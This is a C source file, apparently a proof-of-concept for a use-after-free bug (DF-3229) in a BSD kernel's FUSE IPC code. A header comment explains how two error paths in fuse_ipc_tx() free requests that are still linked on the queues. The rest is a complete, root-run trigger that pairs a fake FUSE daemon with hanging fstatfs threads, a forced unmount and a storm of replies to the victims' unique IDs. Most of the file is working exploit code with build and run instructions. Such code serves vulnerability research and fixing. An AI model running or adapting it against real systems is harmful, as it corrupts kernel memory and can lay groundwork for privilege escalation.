DF-3229 / df3229.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 | /* * DF-3229 โ fuse_ipc_tx() ERROR paths free a fuse_ipc that is still * linked on fmp->request_head / fmp->reply_head. * * Bug (sys/vfs/fuse/fuse_ipc.c): * fuse_ipc_tx() enqueues the fip on BOTH request_head and reply_head * (ipc.c:258-261) and waits. Two wait exits return WITHOUT * fuse_ipc_remove(): * * PATH A ipc.c:163-167 โ mount killed between tx:253's dead check * and wait:163's dead check: * set_replied; return ENOTCONN; (no dequeue!) * -> tx:270 fuse_ipc_put() frees a fip still linked on * BOTH queues. * * PATH B ipc.c:198-201 โ a waiter sleeping at :175 is not woken by * fuse_mount_kill() (it wakes fmp, not fips). The daemon * later WRITES a reply for the unread request: * fuse_device_write (fuse_device.c:190-220, no dead check) * dequeues reply_head, sets replied, wakes the waiter; * the waiter sees dead and returns ENOTCONN at :201 * (no dequeue!) -> tx:270 put() frees a fip still linked * on request_head. * * Every sibling exit dequeues (ipc.c:186, :193, wait_sent :213/:240); * DF-3227's verified fix only covers the tx SUCCESS path. * * Deterministic staging (this PoC): * 1. daemon services INIT + in-mount STATFS + first OPENDIR, then * waits for a fully drained queue (quiescent) โ U0 = last unique. * 2. daemon releases the barrier: N one-shot hammer threads each do * exactly ONE fstatfs() (fd on the mount root; kern_fstatfs needs * no namei). All N enqueue + hang: victims U0+1 .. U0+N, * unread, linked on both queues. * 3. child runs umount(MNT_FORCE): vflush vgones the root vnode -> * vop_inactive issues FUSE_FSYNCDIR (U0+N+1) and FUSE_RELEASEDIR * (U0+N+2), then fuse_unmount issues FUSE_DESTROY (U0+N+3). * The daemon blind-replies exactly these three PREDICTED uniques * (retry-polling: ENOMSG = not queued yet = harmless), so the * umount advances to fuse_mount_kill() โ dead=1 โ WITHOUT ever * touching the victims. * (The three blind-replied umount-internal fips complete via the * tx SUCCESS path = the known DF-3227 blind-reply defect; they * are excluded from this PoC's markers by unique.) * 4. kill landed: the daemon detects ENOTCONN on read, then storms * the victims' uniques [U0+1 .. U0+N]: * - every MATCHED write (0 / EPROTO) completes a fip whose * waiter takes the :198 error exit -> fuse_ipc_put() frees it * STILL LINKED on request_head. The paired fstatfs returns * ENOTCONN right after the write (wake evidence). * - on a kernel with the :198 remove fix the writes match the * same way โ the difference is purely internal, so the loud * discriminator is the freed-while-linked state itself. * * Build: cc -O2 -Wall -o df3229 df3229.c -lpthread * Run: (as root) kldload fuse && ./df3229 [threads] */ #include <sys/param.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/uio.h> #include <sys/time.h> #include <sys/resource.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <stdarg.h> #include <sys/wait.h> #include <time.h> #include <pthread.h> #define FUSE_KERNEL_VERSION 7 #define FUSE_KERNEL_MINOR_VERSION 28 #define FUSE_ROOT_ID 1 #define FUSE_STATFS 17 #define FUSE_OPEN 14 #define FUSE_INIT 26 #define FUSE_OPENDIR 27 #define FUSE_DESTROY 38 struct fuse_in_header { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_init_in { uint32_t major, minor, max_readahead, flags; }; struct fuse_init_out { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; }; struct fuse_kstatfs { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; }; struct fuse_statfs_out { struct fuse_kstatfs st; }; struct fuse_open_out { uint64_t fh; uint32_t open_flags; uint32_t padding; }; struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; }; #define MNTPT "/mnt/df3229" /* ---- shared state (parent daemon + child hammer threads) ---- */ #define EVMAX 65536 struct ev { int kind; int tid; double t; int rc; int err; uint64_t u; }; /* kind: 1=op_start 2=op_end 3=kill_detect 4=blind_write 5=read_ok */ static struct ev *EV; static volatile int ev_n = 0; static pthread_mutex_t ev_lk = PTHREAD_MUTEX_INITIALIZER; static volatile int *SH_HALT; /* daemon -> hammer: stop looping */ static volatile int *SH_RELEASE; /* daemon -> hammer+child: go */ static void ev_log(int kind, int rc, int err, uint64_t u) { pthread_mutex_lock(&ev_lk); if (ev_n < EVMAX) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); EV[ev_n].kind = kind; EV[ev_n].tid = (int)(uintptr_t)pthread_self(); EV[ev_n].t = ts.tv_sec + ts.tv_nsec/1e9; EV[ev_n].rc = rc; EV[ev_n].err = err; EV[ev_n].u = u; ev_n++; } pthread_mutex_unlock(&ev_lk); } static int g_fd = -1; static FILE *g_log, *g_con; static volatile sig_atomic_t g_stop = 0, g_read_alarm = 0; static uint64_t last_read_u = 0; static int n_reads = 0; static void dlog(const char *fmt, ...); static double now(void); static void dlog(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(g_log, "[%d @%.6f] ", (int)getpid(), now()); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log); if (g_con) { va_start(ap, fmt); fprintf(g_con, "[%d @%.6f] ", (int)getpid(), now()); vfprintf(g_con, fmt, ap); va_end(ap); fflush(g_con); } } static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec/1e9; } static void on_alarm(int s) { (void)s; g_read_alarm = 1; } static int write_reply(uint64_t unique, int32_t error, const void *payload, size_t payload_len) { size_t actual = sizeof(struct fuse_out_header) + payload_len; uint8_t *out = calloc(1, actual); struct fuse_out_header *ohd = (struct fuse_out_header *)out; ohd->unique = unique; ohd->error = error; ohd->len = (uint32_t)actual; if (payload && payload_len) memcpy(out + sizeof(*ohd), payload, payload_len); ssize_t w = write(g_fd, out, actual); int e = errno; free(out); return (w < 0) ? -e : 0; /* 0 = accepted, -errno otherwise */ } static void statfs_payload(struct fuse_statfs_out *so) { memset(so, 0, sizeof(*so)); so->st.blocks = 1 << 16; so->st.bfree = 1 << 15; so->st.bavail = 1 << 15; so->st.files = 4096; so->st.ffree = 4000; so->st.bsize = 4096; so->st.namelen = 255; so->st.frsize = 4096; } /* service one request: 0 ok, 1 = was DESTROY, -errno on read failure */ static int service_one(int alarm_sec) { uint8_t buf[65536]; struct fuse_in_header ihd; g_read_alarm = 0; alarm(alarm_sec); ssize_t n = read(g_fd, buf, sizeof(buf)); int saved = errno; alarm(0); if (g_read_alarm) return -EAGAIN; if (n < 0) return -saved; if (n == 0) { dlog("read returned 0 bytes (freed head!)\n"); return -EIO; } memcpy(&ihd, buf, sizeof(ihd)); last_read_u = ihd.unique; n_reads++; ev_log(5, 0, 0, ihd.unique); dlog("req u=%ju op=%u\n", (uintmax_t)ihd.unique, ihd.opcode); int rc; if (ihd.opcode == FUSE_INIT) { struct fuse_init_out io; memset(&io, 0, sizeof(io)); io.major = FUSE_KERNEL_VERSION; io.minor = FUSE_KERNEL_MINOR_VERSION; io.max_readahead = 4096; io.max_write = 1 << 20; io.max_pages = 256; rc = write_reply(ihd.unique, 0, &io, sizeof(io)); } else if (ihd.opcode == FUSE_STATFS) { struct fuse_statfs_out so; statfs_payload(&so); rc = write_reply(ihd.unique, 0, &so, sizeof(so)); } else if (ihd.opcode == FUSE_OPENDIR || ihd.opcode == FUSE_OPEN) { struct fuse_open_out oo; memset(&oo, 0, sizeof(oo)); oo.fh = 0x1000 + ihd.unique; rc = write_reply(ihd.unique, 0, &oo, sizeof(oo)); } else { rc = write_reply(ihd.unique, -ENOSYS, NULL, 0); } if (rc < 0) dlog("reply u=%ju failed: %d\n", (uintmax_t)ihd.unique, rc); return 0; } /* retry-poll a blind write until the kernel queues that unique * (ENOMSG = not queued yet = harmless); ~0 matched, -1 gave up */ static int poll_write(uint64_t u, double seconds) { double t_end = now() + seconds; while (now() < t_end) { int rc = write_reply(u, 0, NULL, 0); if (rc == 0 || rc == -EPROTO) return 0; if (rc != -ENOMSG) dlog("poll u=%ju unexpected %d\n", (uintmax_t)u, rc); usleep(1000); } return -1; } /* ---------------- daemon (parent) ---------------- */ static void daemon_loop(int nvictims) { double t_kill = 0; uint64_t U0; /* 1. service mount setup until the queue is quiescent */ for (;;) { int rc = service_one(1 /*1s quiesce alarm*/); if (rc == -EAGAIN) break; /* drained */ if (rc == -EINTR) continue; if (rc < 0) { dlog("setup read err %d\n", rc); return; } } U0 = last_read_u; dlog("quiescent: U0=%ju โ releasing barrier for %d victims\n", (uintmax_t)U0, nvictims); /* 2. release the pile-up; threads enqueue victims U0+1..U0+N */ *SH_RELEASE = 1; usleep(300000); /* all N enqueued+hung */ /* 3. child umounts (MNT_FORCE): FSYNCDIR, RELEASEDIR, DESTROY */ if (poll_write(U0 + nvictims + 1, 20.0) != 0) { dlog("FSYNCDIR poll failed\n"); return; } dlog("FSYNCDIR u=%ju completed (umount advances)\n", (uintmax_t)(U0 + nvictims + 1)); if (poll_write(U0 + nvictims + 2, 20.0) != 0) { dlog("RELEASEDIR poll failed\n"); return; } dlog("RELEASEDIR u=%ju completed\n", (uintmax_t)(U0 + nvictims + 2)); if (poll_write(U0 + nvictims + 3, 20.0) != 0) { dlog("DESTROY poll failed\n"); return; } dlog("DESTROY u=%ju completed โ fuse_mount_kill() fires\n", (uintmax_t)(U0 + nvictims + 3)); /* 4. kill confirmation (read gated by :130 dead check โ no pop) */ usleep(5000); { int rc = service_one(1); if (rc != -ENOTCONN) { dlog("post-destroy read rc=%d (expected ENOTCONN)\n", rc); if (rc == 0 || rc == 1) rc = service_one(1); } if (rc != -ENOTCONN) { dlog("kill not confirmed\n"); return; } } t_kill = now(); *SH_HALT = 1; ev_log(3, 0, 0, 0); dlog("KILL confirmed at %.6f; U0=%ju reads=%d\n", t_kill, (uintmax_t)U0, n_reads); /* 5. STORM the victims: post-kill writes matching unread hung fips * -> each completes via the :198 ERROR exit -> put() frees a * fip still linked on request_head. */ usleep(2000); int matched = 0; for (int i = 1; i <= nvictims + 4; i++) { uint64_t u = U0 + i; int rc = write_reply(u, 0, NULL, 0); int err = (rc < 0) ? -rc : 0; int m = (rc == 0 || err == EPROTO); if (m) matched++; ev_log(4, m ? 0 : 1, err, u); dlog("W u=%ju err=%d%s%s\n", (uintmax_t)u, err, m ? " MATCHED" : "", (i > nvictims && m) ? " <<== BEYOND PREDICTED VICTIMS" : ""); } dlog("storm done: matched=%d of %d victims (+4 probes)\n", matched, nvictims); /* 6. correlate (early + late: woken threads run at nice +19) */ for (int pass = 0; pass < 2; pass++) { usleep(pass ? 500000 : 5000); int woke = 0, instant = 0, never_ret = 0; for (int i = 0; i < ev_n; i++) { if (EV[i].kind != 1) continue; struct ev *e = NULL; for (int j = i + 1; j < ev_n; j++) if (EV[j].kind == 2 && EV[j].tid == EV[i].tid) { e = &EV[j]; break; } if (!e) { never_ret++; continue; } if (e->rc == -1 && e->err == ENOTCONN) { if (e->t <= t_kill + 0.002) instant++; else woke++; } else { dlog("victim returned rc=%d err=%d at %.6f\n", e->rc, e->err, e->t); } } dlog("RESULT(pass%d): victims_matched=%d woke_after_write=%d " "instant_enotconn=%d never_returned=%d\n", pass, matched, woke, instant, never_ret); dlog("DF3229: matched=%d woke=%d\n", matched, woke); } } /* ---------------- child: mount + barrier hammer + umount ---------------- */ static void *hammer_thr(void *arg) { (void)arg; int fd = open(MNTPT, O_RDONLY | O_DIRECTORY); if (fd < 0) { dlog("hammer: open: %s\n", strerror(errno)); return NULL; } /* barrier: wait for the daemon's release, then ONE shot only so * the victim count is exact */ while (!*SH_RELEASE && !g_stop) usleep(1000); ev_log(1, 0, 0, 0); struct statfs st; int rc = fstatfs(fd, &st); int e = errno; ev_log(2, rc, e, 0); dlog("victim fstatfs rc=%d err=%d\n", rc, e); close(fd); return NULL; } static int child_mode(int nthreads) { setpriority(PRIO_PROCESS, 0, 19); struct fuse_mount_info args; memset(&args, 0, sizeof(args)); args.fd = g_fd; args.from = "/dev/fuse"; args.max_read = 1 << 20; mkdir(MNTPT, 0755); if (mount("fuse", MNTPT, 0, &args) < 0) { dlog("child: mount: %s\n", strerror(errno)); return 1; } dlog("child: mounted; %d hammer threads waiting on barrier\n", nthreads); pthread_t th[128]; if (nthreads > 128) nthreads = 128; for (int i = 0; i < nthreads; i++) pthread_create(&th[i], NULL, hammer_thr, NULL); /* wait for the daemon's pile-up, then force-unmount: * vflush -> FSYNCDIR/RELEASEDIR -> DESTROY -> kill */ while (!*SH_RELEASE) usleep(2000); usleep(400000); dlog("child: umount -f\n"); if (unmount(MNTPT, MNT_FORCE) < 0) dlog("child: umount: %s\n", strerror(errno)); else dlog("child: umount returned\n"); dlog("child: joining %d hammer threads\n", nthreads); for (int i = 0; i < nthreads; i++) pthread_join(th[i], NULL); dlog("child: hammer threads done\n"); return 0; } int main(int argc, char **argv) { int nvictims = (argc > 1) ? atoi(argv[1]) : 20; EV = mmap(NULL, sizeof(struct ev) * EVMAX + 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON, -1, 0); if (EV == MAP_FAILED) { perror("mmap"); return 3; } SH_HALT = (volatile int *)((char *)EV + sizeof(struct ev) * EVMAX); SH_RELEASE = SH_HALT + 1; *SH_HALT = 0; *SH_RELEASE = 0; g_log = fopen("/tmp/df3229.log", "a"); if (!g_log) g_log = stderr; setvbuf(g_log, NULL, _IOLBF, 0); g_con = fopen("/dev/console", "w"); if (g_con) setvbuf(g_con, NULL, _IOLBF, 0); signal(SIGPIPE, SIG_IGN); signal(SIGALRM, on_alarm); siginterrupt(SIGALRM, 1); setpriority(PRIO_PROCESS, 0, -20); g_fd = open("/dev/fuse", O_RDWR); if (g_fd < 0) { dlog("open /dev/fuse: %s (need root+operator)\n", strerror(errno)); return 2; } pid_t pid = fork(); if (pid < 0) return 3; if (pid == 0) _exit(child_mode(nvictims)); daemon_loop(nvictims); /* victims not matched by the storm drain via their own 35s timeout; * keep the fd open until the child is done so fmp stays valid */ { int st = 0; pid_t w = waitpid(pid, &st, 0); dlog("parent: waitpid=%d status=0x%x (exit=%d sig=%d)\n", (int)w, st, WEXITSTATUS(st), WTERMSIG(st)); } close(g_fd); fclose(g_log); return 0; } |